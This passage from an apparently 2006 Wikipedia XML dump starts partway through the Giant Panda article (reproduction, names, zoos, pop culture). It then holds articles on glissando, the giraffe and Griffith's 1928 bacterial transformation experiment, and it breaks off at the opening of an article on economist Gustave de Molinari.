By [[2005]], political tensions had eased between mainland China (People's Republic of China) and [[Taiwan]] (Republic of China), causing the mainland to suggest giving Taiwan two pandas as a diplomatic gift. This proposed gift was met by polarized opinions from Taiwan.([http://www.cnn.com/2006/WORLD/asiapcf/01/06/china.taiwan.ap/index.html]. At this time (February 2006), it is unclear whether Taiwan will accept the two panda cubs, now called Tuan Tuan and Yuan Yuan.

==Reproduction==
Giant pandas reproduce very slowly, and infant mortality is high.  Growth is slow and pandas may not reach sexual maturity until they are five to seven years old.  The mating season usually takes place from mid-March to mid-May.  During this time, two to five males can compete for one female; the male with the highest rank gets the female.  When mating, the female is in a crouching, head-down position as the male mounts from behind.  Copulation time is short, ranging from thirty seconds to five minutes, but the male may mount repeatedly to ensure successful fertilization.  Mating is also a very noisy time, accompanied by moaning and squealing.

The whole gestation period ranges from 83 to 163 days, with 135 days being the average.  Baby pandas weigh only 90 to 130 grams, which is about 1/900th of the mother’s weight. Usually, the female panda gives birth to one or two panda cubs. Since baby pandas are born very small and helpless, they need the mother’s undivided attention, so she is able to care for only one of her cubs.  She usually abandons one of her cubs, and it dies soon after birth.  At this time, scientists do not know how the female chooses which cub to raise, and this is a topic of ongoing research.

The father has no part in helping with raising the cub. When the cub is first born, it is pink, naked and blind. It nurses from its mother's breast 6&amp;ndash;14 times a day for up  to 30 minutes each time. For three to four hours, the mother might leave the den to feed, which leaves the panda cub defenseless. One to two weeks after birth, the cub's skin turns gray where its hair will eventually become black.  A month after birth, the color pattern of the cub’s fur is fully developed. The cub begins to crawl at 75 to 90 days and the mothers play with their cubs by rolling and wrestling with them. The cubs are able to eat small quantities of bamboo after six months, though mother's milk remains the primary food source for most of the first year. Giant panda cubs weigh 45 kg at one year and live with their mother until they are 18 months to two years old.  The interval between births in the wild is generally two years.

Breeders and biologists often experience difficulty in inducing captive pandas to mate, threatening their already diminished population. This problem may stem from the captive bears' lack of experience. In an attempt to remedy this, some keepers in China and Thailand have shown their subjects &quot;panda porn&quot; videos, containing footage of mating pandas. In some cases, the bears have been sufficiently stimulated from the videos to engage in reproductive activity. It is not likely that the animals actually learn mating behaviors from the video; rather, scientists believe that hearing the associated sounds has a stimulating effect on the bears exposed to it.

==Name==
The name &quot;panda&quot; originates with a Himalayan language, possibly [[Nepalese]]. And as used in the [[Western world|West]] it was originally applied to the Red Panda, to which it was thought to be related.  Until its relation to the Red Panda was &quot;discovered&quot; in [[1901]], the Giant Panda was known as '''Mottled Bear''' (''Ailuropus melanoleucus'') or '''Parti-colored Bear'''.   

In [[Chinese language|Chinese]], the Giant Panda is called the &quot;large bear cat&quot; ({{zh-stp|s=大熊猫|t=大熊貓|p=Dàxióngmāo}}), or sometimes (usually in [[Taiwan]]) &quot;cat bear&quot; ({{zh-stp|s=猫熊|t=貓熊|p=Māoxióng}}). Since Chinese [[stative verb]]s ([[Chinese adjectives|adjectives]]) are almost always placed before [[noun]]s, the latter (cat[-like] bear) is more [[Chinese grammar|grammatically correct]]. However, the former (bear, cat[-like]) is more widely-used.

Most bears' eyes have round pupils. The exception is the Giant Panda, whose pupils are vertical slits, like cats' eyes. It is these unusual eyes that inspired the Chinese to call the panda the &quot;giant cat bear&quot;.

==Subspecies==
Two subspecies of Giant Panda have been recognized on the basis of distinct cranial measurements, color patterns, and [[population genetics]] (Wan et al., 2005).

'''''Ailuropoda melanoleuca melanoleuca''''' consists of most extant populations of panda.  These animals are principally found in [[Sichuan]] and display the typical stark black and white contrasting colors.

'''''Ailuropoda melanoleuca qinlingensis''''' is restricted to the [[Qinling Mountains]] in [[Shaanxi]] at elevations of 1300–3000&amp;nbsp;m.  The typical black and white pattern of Sichuan pandas is replaced with a dark brown versus light brown pattern.  The skull of ''A. m. qinlingensis'' is smaller than its relatives and it has larger molars.

==Pandas in zoos==
[[As of 2005]], four major American [[zoo]]s have Giant Pandas (listed in order in which they acquired the pandas):
* [[San Diego Zoo]], [[San Diego]], [[California]] - home of Bai Yun (F), Gao Gao (M), Mei Sheng (M), and a female cub named Su Lin
* The US [[National Zoo]], [[Washington, D.C.]] - home of Mei Xiang (F), Tian Tian (M), and a male cub named [[Tai Shan (panda)|Tai Shan]]
* [[Zoo Atlanta]], [[Atlanta, Georgia|Atlanta]], [[Georgia (U.S. state)|Georgia]] - home of Lun Lun (F) and Yang Yang (M)
* [[Memphis Zoo]], [[Memphis, Tennessee|Memphis]], [[Tennessee]] - home of Ya Ya (F) and Le Le (M)

There is one zoo in Mexico:
*  [[Chapultepec Zoo]], [[Mexico City, Mexico]] - home of Shuan Shuan, Xin Xin and Xi Hua, all females

Two zoos in Europe show Giant Pandas:
* [[Zoologischer Garten Berlin]], [[Berlin]], [[Germany]] - home of Bao Bao, age 27, the oldest panda living in captivity; he has been in Berlin for 25 years and has never reproduced.
* [[Tiergarten Schönbrunn]], [[Vienna]], [[Austria]]

Pandas in Japan have double names: a Japanese name and a Chinese name. Three zoos in Japan show Giant Pandas:

*[[Ueno Zoo]], Tokyo - home of Ling Ling (M), he is the only panda with &quot;Japanese citizenship&quot;.
*Oji Zoo, Kobe, [[Hyogo]] - home of Kou Kou (M), Tan Tan (F)
*Adventure World, [[Shirahama, Wakayama|Shirahama]], [[Wakayama]] - Ei Mei (M), Mei Mei (F), Rau Hin (F), Ryu Hin and Syu Hin (male twins), and Kou Hin (M). Yu Hin (M) went to China in [[2004]].

The [[Chiang Mai Zoo]] in northern [[Thailand]] is home to Chuang Chuang (M) and Lin Hui (F). Much to the joy of the public, the two have recently been observed mating and it is hoped that cubs will be produced from the union.

[[London]], [[Madrid]], and [[Paris]] no longer have pandas, although Madrid is exploring the possibility of obtaining pandas in the future.

On [[July 9]], 2005, a male Giant Panda cub was born at the National Zoo to mother Mei Xiang and father Tian Tian through artificial insemination; it was the first surviving cub birth in the zoo's history. For the first time in the nation's history, a public vote chose this panda's name. Following Chinese tradition, his name [[Tai Shan (panda)|Tai Shan]] (tie-SHON) was announced when he turned 100 days old.

A female cub, Su Lin, was born on [[August 2]], 2005, to the female Bai Yun and male Gao Gao at the San Diego Zoo.  Her name was also chosen by a public online poll.  Bai Yun's two previous cubs were the first two Giant Pandas to survive past infancy in the United States (the first surviving cubs in [[North America]] were bred in the Chapultepec Zoo). The first, a female named Hua Mei, was fathered by Shi Shi via artificial insemination and was born on [[August 21]], [[1999]]. She returned to China in February 2004, where she has already given birth to 2 sets of twins, males in 2004 (named Hua Ling and Mei Ling) and one male/one female in 2005. Both sets of twins are doing fine to date. Bai Yun's second cub, a male named Mei Sheng, was the product of natural mating with Gao Gao and was born on [[August 19]], [[2003]]. Su Lin was also fathered by Gao Gao via natural mating.

A [[2006]] ''[[New York Times]]'' article outlined the economics of keeping pandas, which costs five times more than that of the next most expensive animal, an [[elephant]]. American zoos must pay the Chinese government $2 million a year in fees, part of what is typically a ten-year contract. San Diego's contract with China is the first to expire, in 2008. The last contract, in Memphis, ends in 2013.

==Pandas in popular culture==
[[Image:Panda_Express_Logo.png|150px|right]]
Pandas are a popular animal in eastern and western culture. Pandas have often appeared in television programs, cartoons, and picture-books, while their images have graced all manner of consumer products.

* [[Panda Express]] is the name of an American fast food chain which serves [[American Chinese cuisine]]. The chain's logo features a [[cute|chubby]], stylized panda. Some also give donations to panda preservation groups.

*In the webcomic ''[[PvP]]'' a Giant Panda attacks a character, Brent, in what has become one of the longest running jokes in the comic.

*In the webcomic ''[[The Suburban Jungle]]'', Yin the Panda is the main character's housemate.

*In &quot;[[Homer vs. Dignity]],&quot; an episode of ''[[The Simpsons]]'', Homer dresses as a panda for Mr. Burns' pleasure and is subsequently violated by a male panda at Springfield Zoo. In addition, Moe briefly runs a panda-smuggling operation from the back room of the bar.  In a later episode, on a trip to China, Homer attempts to steal a panda cub, and is attacked by the mother.  

* In the popular [[anime]]/[[manga]] series ''[[Ranma ½]]'', Ranma's father Genma Saotome suffers of a curse: he transforms into a Giant Panda when soaked in cold water, but can be reverted to his human form with hot water. When he is in his panda form, he expresses himself writing on a wooden board, due to his inability to speak.

*In the movie ''[[Anchorman: The Legend of Ron Burgundy]]'' the news team follows the story of a Giant Panda's pregnancy.

*In the popular manga ''[[Gantz]]'' one of the recent additions to the alien-hunting cast is a baby panda named Hoi Hoi.

*In a chapter of the manga ''[[Great Teacher Onizuka]]'', main character Onizuka witnesses corrupt police officer Saejima illegally importing Giant Pandas into Japan. Saejima tries to convince Onizuka that the pandas are really advanced robot toys.

*In an episode of ''[[South Park]]'', a mascot named Sexual Harassment Panda inadvertently causes [[sexual harassment]] lawsuits to proliferate.

*Lynne Truss's book, ''[[Eats, Shoots &amp; Leaves|Eats, Shoots and Leaves: The Zero Tolerance Approach to Punctuation]]'', is a reference to a joke on poor [[punctuation]]: 
::A panda walks into a cafe and orders a sandwich. After the panda has eaten his meal, he takes out a gun and shoots several holes in the ceiling. As the panda begins to leave, the waiter cries out, &quot;What was that for?&quot; in regard to the shootings. The panda tosses a wildlife guide to the waiter. The waiter reads the guide, and it says, &quot;Panda. Black-and-white mammal native to China. Eats, shoots and leaves.&quot;

* In the web comic ''[[Radioactive Panda]]'' a Giant Panda can be seen wearing goggles fixing machinery, miniature versions of which are used to power devices.

*In the popular series of [[Tekken]] action games on the Sony [[Playstation]] consoles there is a female panda character, a pet of the Xiaoyu character.

* The [[World Wildlife Fund]] [[logotype]] is a stylized panda.

*A panda named Jing Jing is one of the [[Friendlies]], the mascots for the [[2008 Summer Olympics]] in [[Beijing]].

* One of the artists of [[Blizzard Entertainment]], [[Samwise Didier]], is a huge fan of the panda, leading Blizzard to incorporate pandas in the [[Warcraft]] universe as [[Pandaren]].  Players can find references to Pandaren in ''[[World of Warcraft]]'' as well as play a Pandaren Hero in ''Warcraft III: The Frozen Throne''.

* The Giant Panda is the namesake and logo of [[Panda Energy International]].

* The [[Tarepanda]] was one lazy panda popular in Japan.

* In one stage of the game ''[[We Love Katamari]]'', the player can roll up various things in town to raise money to save red pandas (Red versions of the Giant Panda as opposed to the raccoon-like Red Pandas) from turning into reddish brown pandas.

* In the ''[[Fullmetal Alchemist]]'' manga, the side character Mei Chang has a tiny panda named Xiaomei/Shao Mei which copies Mei's actions when they are together. It has a tendency to bite people but considers Mei its master (and Alphonse Elric the ultimate lifeform).

==References==
* Schaller, George B. ''The Last Panda''. Chicago. University of Chicago Press, 1993.
* Wan, Q.-H., H. Wu, and S.-G. Fang. 2005. A new subspecies of Giant Panda (''Ailuropoda melanoleuca'') from Shaanxi, China. ''Journal of Mammalogy'' 86: 397&amp;ndash;402.
* [http://www.wwfchina.org/english/pandacentral/htm/wwf_at_work/panda_survey/q&amp;a.htm Panda Facts At a Glance]
* Associated Press (via [[CNN]]) 2006. [http://www.cnn.com/2006/WORLD/asiapcf/01/06/china.taiwan.ap/index.html Article link]
*Goodman, Brenda (February 12, 2006). [http://www.nytimes.com/2006/02/12/national/12panda.html? Pandas Eat Up Much of Zoos' Budgets]. ''[[The New York Times]]''

==External links==
{{commons|Giant Panda}}
===Zoo websites===
*[http://nationalzoo.si.edu/Animals/GiantPandas/ US National Zoo] - has baby panda cam
*[http://www.sandiegozoo.org/animalbytes/t-giant_panda.html San Diego Zoo] and [http://www.sandiegozoo.org/zoo/ex_panda_station.html its panda cam]
*[http://www.memphiszoo.org/panda_cam.html Memphis Zoo]
*[http://www.zooatlanta.org/animals_giant_panda.htm Zoo Atlanta]
*[http://www.zoovienna.at/grosserpanda.html Tiergarten Schönbrunn] (Vienna, Austria)
*[http://www.zoo-berlin.de/tiere/tier_prom_baobao.html Zoologischer Garten Berlin]
*[http://www.tokyo-zoo.net/zoo/ueno/index.html Ueno Zoo] (Japan)
*[http://www.ojizoo.jp/ Oji Zoo] (Japan)
*[http://www.aws-s.com/panda/index.html Adventure World]

===Other websites===
*[http://www.panda.org/about_wwf/what_we_do/species/our_solutions/endangered_species/giant_panda/index.cfm WWF] - environmental conservation organization
*[http://www.giantpandaonline.org/ Giant Panda Species Survival Plan]
*[http://www.pandasinternational.org/index.html Pandas International] - panda conservation group
*[http://www.aza.org/ConScience/PandaPublicEye/ AZA Panda Conservation Plan]
*[http://nationalzoo.si.edu/Animals/GiantPandas/PandaFacts/default.cfm Information about pandas]

[[Category:Bears]]
[[Category:Endangered species]]
[[Category:Fauna of China]]
[[bg:Голяма панда]]
[[ca:Panda gegant]]
[[cs:Panda velká]]
[[da:Panda]]
[[de:Großer Panda]]
[[es:Panda gigante]]
[[eo:Granda pando]]
[[fr:Panda géant]]
[[fy:Bamboebear]]
[[gl:Panda xigante]]
[[ko:자이언트판다]]
[[id:Panda]]
[[it:Ailuropoda melanoleuca]]
[[he:פאנדה ענק]]
[[la:Panda maior]]
[[lt:Didžioji panda]]
[[jbo:cionmau la barda]]
[[ms:Panda Gergasi]]
[[nl:Reuzenpanda]]
[[ja:ジャイアントパンダ]]
[[pl:Panda wielka]]
[[pt:Panda]]
[[ru:Большая панда]]
[[scn:Panda gianti]]
[[sk:Panda veľká]]
[[sl:Orjaški panda]]
[[su:Panda]]
[[fi:Jättiläispanda]]
[[sv:Jättepanda]]
[[th:แพนด้ายักษ์]]
[[vi:Gấu trúc lớn]]
[[uk:Велика панда]]
[[zh:大熊猫]]</text>
    </revision>
  </page>
  <page>
    <title>Glissando</title>
    <id>12716</id>
    <revision>
      <id>41708553</id>
      <timestamp>2006-03-01T05:14:46Z</timestamp>
      <contributor>
        <ip>68.80.154.52</ip>
      </contributor>
      <comment>Example of how a fretted stringed instrument player can effect an extremely rapid chromatic scale.</comment>
      <text xml:space="preserve">'''Glissando''' (plural: glissandi) is a [[music]]al term that refers to either a continuous sliding from one pitch to another (a &quot;true&quot; glissando), or an incidental scale played while moving from one [[Melody|melodic]] note to another (an &quot;effective&quot; glissando). 

[[Musical instrument]]s with [[:Category:Continuous pitch instruments|continuously variable pitch]] can effect a true glissando over a substantial range.
These include unfretted stringed instruments (such as the [[violin]] and some [[bass guitar]]s), stringed instruments with a way of stretching the strings (such as a [[guitar]]), wind instruments without valves or stops (such as the [[trombone]] or [[slide whistle]]), electronic instruments (such as [[synthesizer]]s and [[theremin]]s), the [[water organ]], and of course the [[human voice]].

True glissandi can be produced to at least a limited extent on most instruments; for example, fretted stringed instruments (such as the [[guitar]] or [[mandolin]]) can effect a glissando by pushing the string across the fingerboard.
Brass and wind instruments such as the [[flute]] or [[trumpet]] can effect a similarly limited glissando by altering the breath pressure.
Tunable percussion instruments such as the [[drum]] or [[conga]] can effect small glissandi by applying or releasing pressure on the head while striking.

On some instruments, a bending of the tone or continuous sliding is not possible (e.g., [[piano]], [[harp]]) As a substitute, the player can play a number of adjacent notes in rapid succession, so that the audible result somewhat resembles a true glissando. For example, on a piano, the player can slide his thumbnail across the white or black keys, producing either a [[C major]] scale or a F# major pentatonic (or their relative natural minor scales).  On a harp, the player can slide his finger up or down the strings, quickly playing the separate notes. Wind, brass and fretted stringed instrument players can effect an extremely rapid chromatic scale (ex: sliding up or down a string quickly on a fretted instrument), giving the same effect. These latter techniques are commonly referred to as glissandi in scores and sheet music, although technically they are only &quot;effective&quot; glissandi.

''See also: [[musical terminology]]''

&lt;!-- Categories, from narrowest to most generic --&gt;

[[Category:Articulations]]

&lt;!-- In other languages, alphabetically by language (not code) name --&gt;

&lt;!--magyar--&gt;

[[ca:Glissando]]
[[da:Glissando]]
[[de:Glissando]]
[[es:Glissando]]
[[fr:Glissando]]
[[hu:Glissando]]
[[it:Glissando]]{{Link FA|it}}
[[nl:Glissando]]
[[pl:Glissando]]
[[sr:Глисандо]]
[[sv:Glissando]]
[[he:גליסנדו]]</text>
    </revision>
  </page>
  <page>
    <title>Giraffe</title>
    <id>12717</id>
    <revision>
      <id>42103034</id>
      <timestamp>2006-03-03T21:19:21Z</timestamp>
      <contributor>
        <username>Voyevoda</username>
        <id>307664</id>
      </contributor>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Giraffe
| status = {{StatusConcern}}
| image = giraffe_pcb.jpg
| image_width = 250px
| regnum = [[Animal]]ia
| phylum = [[Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Artiodactyla]]
| familia = [[Giraffidae]]
| genus = '''''Giraffa'''''
| species = '''''G. camelopardalis'''''
| binomial = ''Giraffa camelopardalis''
| binomial_authority = [[Carolus Linnaeus|Linnaeus]], [[1758]]
}}

The '''Giraffe''' (''Giraffa camelopardalis'') is an [[even-toed ungulate]] [[mammal]], the tallest of all land living [[animal]] [[species]]. Males can be 4.8 to 5.5 [[metre]]s (16 to 18 feet) tall and weigh up to 900 [[kilogram]]s (2000 pounds). Females are generally slightly shorter and weigh less.

Native to [[Africa]], the Giraffe is related to [[deer]] and [[cattle]], but is placed in a separate family, the [[Giraffidae]], consisting only of the giraffe and its closest relative, the [[Okapi]]. 

The species name ''camelopardalis'' (camelopard) is derived from its early [[Roman Empire|Roman]] name, where it was described as having characteristics of both a [[camel]] and a [[leopard]] (and perhaps being a hybrid of the two)[http://www.eaudrey.com/myth/camelopard.htm].

==Giraffe Subspecies==

There are nine generally accepted [[subspecies]], differentiated by color and pattern variations and range:

* Reticulated or [[Somali Giraffe]] (''G.c. reticulata'') &amp;mdash; large, polygonal liver-colored spots outlined by a network of bright white lines. The blocks may sometimes appear deep red and may also cover the legs. Range: northeastern Kenya, Ethiopia, Somalia.
* Angolan or Smoky Giraffe (''G.c. angolensis'') &amp;mdash; large spots and some notches around the edges, extending down the entire lower leg. Range: Angola, Zambia.
* Kordofan Giraffe (''G.c. antiquorum'') &amp;mdash; smaller, more irregular spots that do cover the inner legs. Range: western and southwestern Sudan.
* Masai or Kilimanjaro Giraffe (''G.c. tippelskirchi'') &amp;mdash; jagged-edged, vine-leaf shaped spots of dark chocolate on a yellowish background. Range: central and southern Kenya, Tanzania.
* Nubian Giraffe (''G.c. camelopardalis'') &amp;mdash; large, four-sided spots of chestnut brown on an off-white background and no spots on inner sides of the legs or below the hocks. Range: eastern Sudan, northeast Congo.
* Rothschild's or Baringo or Ugandan Giraffe (''G.c. rothschildi'') &amp;mdash; deep brown, blotched or rectangular spots with poorly defined cream lines. Hocks may be spotted. Range: Uganda, north-central Kenya.
* South African Giraffe (''G.c. giraffa'') &amp;mdash; rounded or blotched spots, some with star-like extensions on a light tan background, running down to the hooves. Range: South Africa, Namibia, Botswana, Zimbabwe, Mozambique.
* Thornicroft or Rhodesian Giraffe (''G.c. thornicrofti'') &amp;mdash; star-shaped or leafy spots extend to the lower leg. Range: eastern Zambia.
* West African or Nigerian Giraffe (''G.c. peralta'') &amp;mdash; numerous pale, yellowish red spots. Range: Chad.

Some sources combine Kordofan and West African, Nubian and Rothschild's, and Angolan and Southern African giraffes, respectively, into single subspecies. Four other subspecies have been described, but are not widely agreed upon: Cape Giraffe (''G.c. capensis''), Lado Giraffe (''G.c. cottoni''), Congo Giraffe (''G.c. congoensis''), and Transvaal Giraffe (''G.c. wardi''). Some scientists go so far as to group all populations except the Masai into a single subspecies.

==Characteristics==
[[Image:Giraffe (head).jpg|thumb|right|242px|Giraffes use their long, prehensile tongues to extend their reach.  Specimen at the [[National Museum of Natural History]], [[Washington, DC]].]]

Giraffes are famous for their long necks which allow them to browse on the leaves of trees, and elongated forelegs (which appear much longer than the hind legs, but in reality, are only 1/10th longer). The bony structure of the neck is essentially unchanged from that of other mammals: there are no extra vertebrae, but each of the seven bones is greatly enlarged. Bone constitutes the bud-like horns called ''ossicorns'', which are covered with the Giraffe's skin like the rest of the skull.

Modifications to the Giraffe's structure have evolved, particularly to the 
[[circulatory system]]. A giraffe's heart, which can weigh up to 24&amp;nbsp;lb (10&amp;nbsp;kg), has to generate around double the normal blood pressure for a large mammal in order to maintain blood flow to the brain against gravity. In the upper neck, a complex pressure-regulation system called the [[rete mirabile]] prevents excess blood flow to the brain when the 
Giraffe lowers its head to drink. Conversely, the blood vessels in the lower legs are under great pressure (because of the weight of fluid pressing down on them). In other animals such pressure would force the blood out through the capillary walls: Giraffes, however, have a very tight sheath of thick skin over their lower limbs which maintains high extravascular pressure in exactly the same way as a pilot's [[g-suit]].

Male giraffes determine female fertility by tasting the female's urine to detect estrus in a multi-step process known as the [[Flehmen response]]. 

Giraffe [[gestation]] lasts between 14 and 15 months after which a single calf is born. The mother gives birth standing up and the [[embryo]]nic sack actually bursts when the baby falls to the ground.  Newborn giraffes are about 1.8 metres tall. Within a few hours of being born, calves can run around and are indistinguishable from a calf that may be a week old already; however, for the first two weeks, they spend most of their time lying down, guarded by the mother. While adult Giraffes are too large to be attacked by most predators, the young can fall prey to [[Lion]]s, [[Leopard]]s, [[hyena]]s, and [[African Hunting Dog]]s. It has been speculated that their characteristic spotted pattern provides a certain degree of [[camouflage]]. Only 25 to 50 percent of Giraffe calves reach adulthood; those that do have a life expectancy of between 20 and 25 years in the wild and 28 years in captivity (Encyclopedia of Animals).

In its native country the Giraffe browses on the twigs of trees, preferring plants of the [[Mimosa]] genus; but it appears that it can without inconvenience live on other vegetable food.  A Giraffe can eat 63 kilograms (140 pounds) of leaves and twigs daily.

[[image:giraffe.zoo.500pix.jpg|thumb|left|200px|Rothschild's Giraffe]]

The pace of the Giraffe is an amble, though when pursued it can run extremely fast. However, the small size of its lungs prevents it from supporting a lengthened chase. 

The Giraffe defends itself against threats by kicking with great force. A single well-placed kick of an adult giraffe can shatter a lion's skull or break its spine.

The Giraffe has one of the shortest sleep requirement of any mammal, which is reckoned to be between 20 minutes and two hours in a 24 hour period.

A Giraffe will clean off any bugs that appear on its face (usually while eating) with its extremely long tongue (about 18 inches).  The tongue is unusually tough on account of the giraffe's diet, which often consists of thorns from the tree it is making a meal of.


Giraffes are thought to be [[mute]].  However, recent research has shown evidence that the animal communicates at an [[infrasound]] level with a surprising level of complexity.


The English word &quot;Camelopard&quot; first appeared in the 14th century, and survived in common usage well into the 19th century. A number of European languages, including [[Spanish Language|Spanish]] retain it. The Arabic word &amp;#1575;&amp;#1604;&amp;#1586;&amp;#1585;&amp;#1575;&amp;#1601;&amp;#1577; ''ziraafa'' or ''zurapha'' (undoubtedly of African origin), was used in English from the sixteenth century on, often in an Italianate form ''Giraffa''.
{{-}}

==Evolutionary perspectives==
[[Image:Giraffewithbaby.jpg|thumb|right|250px|Female Giraffe with calf, in Kenya.]]There can be no doubt that the neck and forelegs of the giraffe are long relative to the proportions found in almost all other ungulates.  What cannot be said with any good certainty however, is exactly why this is the case.  We can, however, observe the behavior of modern giraffes and infer why they may have such long necks.

The long necks do allow a giraffe to eat from the tops of trees.  However, since female giraffes are not as high as male giraffes and tend to feed from much lower heights than their male counterparts, it is hard to say that they need the long necks for metabolic reasons.  Furthermore, the additional length that helps a giraffe reach the top food sources makes it incredibly difficult for the same creature to drink. While the [[ecological niche]] which at least male giraffes utilize is only used by a single other species, the [[African Elephant]], there has been no selective forces to maintain the length of the giraffe's neck for a long time. It may be that the long neck originally evolved when the benefit of filling the ecological niche was more pronounced due to the presence of other giant ungulates in Africa, which are now extinct. Today, the maintenance of the giraffe's neck length is more an example of neutralist selection than of &quot;survival of the fittest&quot;.

In addition to the remarkably long neck, giraffes have enlarged forelegs.  These legs make it possible for giraffes to move swiftly and defend themselves against predators.  It is unknown whether or not the size of the giraffe's neck, working in combination with the leg length, may provide a biomechanical advantage in defending against lion attacks.

Finally, it has been observed that males use their long necks, not just for feeding, but for combat and competition.  Indeed, sexual dimorphism is strongly represented among giraffes with females having shorter, lighter necks than males.  Among females, the neck and head mass levels off after about ten years of age, while the same organs in males will continue to grow throughout the twenty-plus year lifetime.  The males engage in [[necking]] combat.  These battles can be fatal, but are more often less severe. The longer a neck is, and the heavier the head at the end of the neck, the greater force a giraffe will be able to deliver in a blow.  It has also been observed that males that are successful in necking have greater access to [[estrous]] females.  In following the logic of [[sexual selection]], it is thus very possible that the giraffe's long neck may be a result of competition among males and female preferences.

==External links==
{{commons|Giraffe}}
*[http://animaldiversity.ummz.umich.edu/site/accounts/information/Giraffa_camelopardalis.html Animal Diversity Web - ''Giraffa camelopardalis'']
*[http://www.isidore-of-seville.com/giraffe/ Giraffe Central web directory] 
*[http://www.sandiegozoo.org/animalbytes/t-giraffe.html San Diego Zoo giraffe fact sheet]
*[http://www.iucnredlist.org/search/details.php?species=9194 IUCN Red List of Threatened Species]
*[http://www.pbs.org/wnet/nature/tallblondes/index.html PBS Nature: Tall Blondes (Giraffes)]
*[http://fohn.net/giraffe-pictures-facts/ Giraffe Pictures and Observations]
*[http://nature-wildlife.com Nature-Wildlife]
*[http://www.wickedgiraffe.com Matt's World of Wicked Giraffes]
*[http://www.dynoxicon.de/ Over 80 Giraffe Cartoons]
*[http://www.livescience.com/animalworld/050908_white_giraffe.html Rare White Giraffe spotted in Africa] 
*[http://www.wildanimalsonline.com/mammals/giraffe.php Giraffe facts and photos] - Wild Animals Online encyclopedia
*[http://www.bio.davidson.edu/people/vecase/Behavior/Spring2004/breedlove/matingsystem.html flehman]
[[Category:Even-toed ungulates]]
[[Category:Wildlife of Africa]]
[[Category:Arabic words]]

[[af:Kameelperd]]
[[ar:زرافة]]
[[bg:Жираф]]
[[ca:Girafa]]
[[cs:Žirafa]]
[[da:Giraf]]
[[de:Giraffe]]
[[es:Giraffa camelopardalis]]
[[eo:Ĝirafo]]
[[fa:زرافه]]
[[fr:Girafe]]
[[ko:기린]]
[[io:Jirafo]]
[[it:Giraffa camelopardalis]]
[[he:ג'ירף]]
[[nl:Giraffe (dier)]]
[[ja:キリン]]
[[oc:Giraffa camelopardalis]]
[[pl:Żyrafa]]
[[pt:Girafa]]
[[ru:Жираф]]
[[scn:Giraffa]]
[[sk:Žirafa štíhla]]
[[sr:Жирафа]]
[[fi:Kirahvi]]
[[sv:Giraff]]
[[th:ยีราฟ]]
[[zh:长颈鹿]]</text>
    </revision>
  </page>
  <page>
    <title>Griffith's experiment</title>
    <id>12718</id>
    <revision>
      <id>38888523</id>
      <timestamp>2006-02-09T07:21:02Z</timestamp>
      <contributor>
        <ip>83.247.136.48</ip>
      </contributor>
      <comment>/* More detailed description */</comment>
      <text xml:space="preserve">'''Griffith's experiment''' was conducted in [[1928]] by [[Frederick Griffith]] which was one of the first experiments suggesting that bacteria are capable of transferring genetic information, otherwise known as the “transforming principle”, which was later discovered to be [[DNA]].  

Griffith used two [[strain]]s of [[Pneumococcus]] (which infects [[mouse|mice]]), a S (smooth) and a R (rough) strain. The S strain covers itself with a [[polysaccharide]] capsule that protects it from the host's [[immune system]], resulting in the death of the host, while the R strain doesn't have that protective capsule and is defeated by the host's immune system.

In his experiment, [[bacterium|bacteria]] from the S strain were killed by heat, and their remains were added to R strain bacteria.  It turned out that the formerly harmless R strain now was able to kill its host. It had been ''transformed'' into the lethal S strain, obviously by a ''transforming principle'' that was somehow part of the dead S strain bacteria.

Today, we know that the DNA of the S strain bacteria had survived the heating process, and was taken up by the R strain bacteria. The S strain DNA contains the genes that form the protective polysaccharide capsule.  Equipped with this gene, the former R strain bacteria were now protected from the host's immune system and could kill it.

==More detailed description==
Griffith injected mice with two different strains of each [[bacterium|bacteria]] (IIS, IIIS, IIR and IIIR) and observed that the mice injected with the strains without the [[polysaccharide]] coat (mutant R strain) lived, while the mice injected with the [[polysaccharide]] coat (S strain) died.
IIR strain can mutate into IIS, and IIIR into IIIS and vice versa, but not IIR into IIIS and vice versa.

However, if the mice were injected with heat-killed IIIS strain pneumococcus, they survived. But if they were injected with both heat killed IIIS strain and living IIR strain pneumococcus, they died. Griffith was able to isolate both live IIR and live IIIS strains pneumococcus from the blood of these dead mice.

Since the IIR strain does not mutate into the IIIS strain, this suggested to Griffith that some of the &quot;transforming principle&quot;, which we now know to be DNA, was transmitted from the heat killed IIIS strain to the living IIR strain.

''See also:'' [[Genetics]], [[Hershey-Chase experiment]], [[Oswald Theodore Avery]]
[[Category:Genetics experiments]]
[[de:Griffiths Experiment]]</text>
    </revision>
  </page>
  <page>
    <title>Gustave de Molinari</title>
    <id>12719</id>
    <revision>
      <id>41121880</id>
      <timestamp>2006-02-25T04:39:37Z</timestamp>
      <contributor>
        <username>RJII</username>
        <id>141644</id>
      </contributor>
      <comment>quote</comment>
      <text xml:space="preserve">[[Image:Gustavedemolinari.jpg|thumb|right|Gustave de Molinari]]
'''Gustave de Molinari''' ([[March 3]], [[1819]] - [[January 28]], [[1912]]) was a [[Belgium|Belgian]]-born [[economics|economist]] associated with the [[France|French]] &quot;[[économistes]]&quot;, a group of [[laissez-faire]] [[Liberalism|liberal]]s.

Throughout his life, together with the other économistes, Molinari defended peace, [[free trade]], [[freedom of speech]], [[freedom of association]] (including voluntary [[trade unions]]), and liberty in all its forms, and opposed [[slavery]], [[colonialism]], [[mercantilism]], [[protectionism]], [[imperialism]], [[nationalism]], [[corporatism]], [[economic interventionism]], government control of arts and education, and, in general, all of what he considered to be restraints on liberty.  Living in Paris, in the [[1840s]], he took part in the &quot;''Ligue pour la Liberté des Échanges''&quot; (Free Trade League), animated by [[Frederic Bastiat]]. On his death bed in [[1850]], Bastiat described Molinari as the continuator of his works.

In [[1849]], shortly after [[The_Revolutions_of_1848_in_France|the revolutions of the previous year]], Molinari published two works: an essay, ''The Production of Security'', and a book, ''Les Soirées de la Rue Saint-Lazare'', describing how a [[free market]] in justice and protection could advantageously replace the [[state]]. In ''Les Soirées'' he says:

